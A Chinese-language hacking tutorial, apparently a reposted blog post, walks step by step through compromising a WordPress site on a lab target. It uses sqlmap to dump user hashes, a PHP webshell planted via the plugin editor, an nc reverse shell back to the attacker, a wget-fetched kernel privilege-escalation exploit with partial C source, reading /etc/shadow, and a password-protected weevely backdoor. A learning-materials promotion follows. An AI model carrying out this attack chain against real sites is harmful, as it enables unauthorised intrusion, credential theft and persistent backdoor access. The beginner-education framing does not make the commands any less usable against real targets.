本文主要是介绍黑客是如何攻破一个网站的?,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
一篇科普文,很适合小白,长文请静下心看。
通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的。阅读本文你会学到以下内容:
1.渗透测试前的简单信息收集。
2.sqlmap的使用
3.nmap的使用
4.nc反弹提权
5.linux系统的权限提升
6.backtrack 5中渗透测试工具nikto和w3af的使用等.
假设黑客要入侵的你的网站域名为:hack-test.com
让我们用ping命令获取网站服务器的IP地址
【----帮助大家学习,以下所有资料文末免费领!----】
现在我们获取了网站服务器的IP地址为:173.236.138.113
寻找同一服务器上的其它网站,我们使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
ID | Domain | Site Link |
---|---|---|
1 | hijackthisforum.com | hijackthisforum.com |
2 | sportforum.net | sportforum.net |
3 | freeonlinesudoku.net | freeonlinesudoku.net |
4 | cosplayhell.com | cosplayhell.com |
5 | videogamenews.org | videogamenews.org |
6 | gametour.com | gametour.com |
7 | qualitypetsitting.net | qualitypetsitting.net |
8 | brendanichols.com | brendanichols.com |
9 | 8ez.com | 8ez.com |
10 | hack-test.com | hack-test.com |
11 | kisax.com | kisax.com |
12 | paisans.com | paisans.com |
13 | mghz.com | mghz.com |
14 | debateful.com | debateful.com |
15 | jazzygoodtimes.com | jazzygoodtimes.com |
16 | fruny.com | fruny.com |
17 | vbum.com | vbum.com |
18 | wuckie.com | wuckie.com |
19 | force5inc.com | force5inc.com |
20 | virushero.com | virushero.com |
21 | twincitiesbusinesspeernetwork.com | twincitiesbusinesspeernetwork.com |
22 | jennieko.com | jennieko.com |
23 | davereedy.com | davereedy.com |
24 | joygarrido.com | joygarrido.com |
25 | prismapp.com | prismapp.com |
26 | utiligolf.com | utiligolf.com |
173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。
我们需要关于你网站的以下信息:
-
DNS records (A, NS, TXT, MX and SOA)
-
Web Server Type (Apache, IIS, Tomcat)
-
Registrar (the company that owns your domain)
-
Your name, address, email and phone
-
Scripts that your site uses (php, asp, asp.net, jsp, cfm)
-
Your server OS (Unix,Linux,Windows,Solaris)
-
Your server open ports to internet (80, 443, 21, etc.)
让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.
我们发现你的DNS记录如下
让我们来确定web服务器的类型
发现你的Web服务器是apache,接下来确定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.
我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.
我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.
我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:
1-Find services that run on server(查看服务器上运行的服务)
2-Find server OS(查看操作系统版本)
只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息,接下来开始扫描寻找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.
我们将使用Nikto来收集漏洞信息:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com
我们也会用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui
我们输入要检测的网站地址,选择完整的安全审计选项.
稍等一会,你将会看到扫描结果.
发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.
Using sqlmap with –u url
过一会你会看到
输入N按回车键继续
我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数”-dbs”来尝试采集数据库名.
发现三个数据库,接下来通过参数”-D wordpress -tables”来查看wordpress数据库的所有表名
通过参数“-T wp_users –columns ”来查看wp_users表中的字段.
接下来猜解字段user_login和user_pass的值.用参数”-C user_login,user_pass–dump”
我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登陆wordpress的后台wp-admin
尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.
Phpwebshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。
我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.
然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.
点击连接我们会看到
接下来我们尝试执行一些命令:
iduid=48(apache) gid=489(apache) groups=489(apache)(用来显示用户的id和组)pwd/var/www/html/Hackademic_RTB1/wp-content/plugins(显示服务器上当前的路径)uname -aLinux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(显示内核版本信息)
现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
我们在nc shell上执行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将它编译成elf格式的,命令如下:
gcc roro.c –ororo
接下来执行编译好的exp
./roro
执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)
现在我们可以查看/etc/shadow文件
cat/etc/shadow
我们可以使用”john theripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.
我们用weevely制作一个php小马上传到服务器上.
1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely#./main.py -
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
测试我们的hax.php后门
如何学习网络安全:
【----帮助网安学习,以下所有学习资料文末免费领取!----】
> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)
大纲
首先要找一份详细的大纲。
学习教程
第一阶段:零基础入门系列教程
该阶段学完即可年薪15w+
第二阶段:技术入门
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
面试刷题
最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。
但是,我觉得很多人拿到了却并不会去学习。
大部分人的问题看似是“如何行动”,其实是“无法开始”。
几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。
如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。
资料领取
👇👇👇
如果你也想学习:黑客&网络安全的零基础攻防教程
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
在这里领取:
这篇关于黑客是如何攻破一个网站的?的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!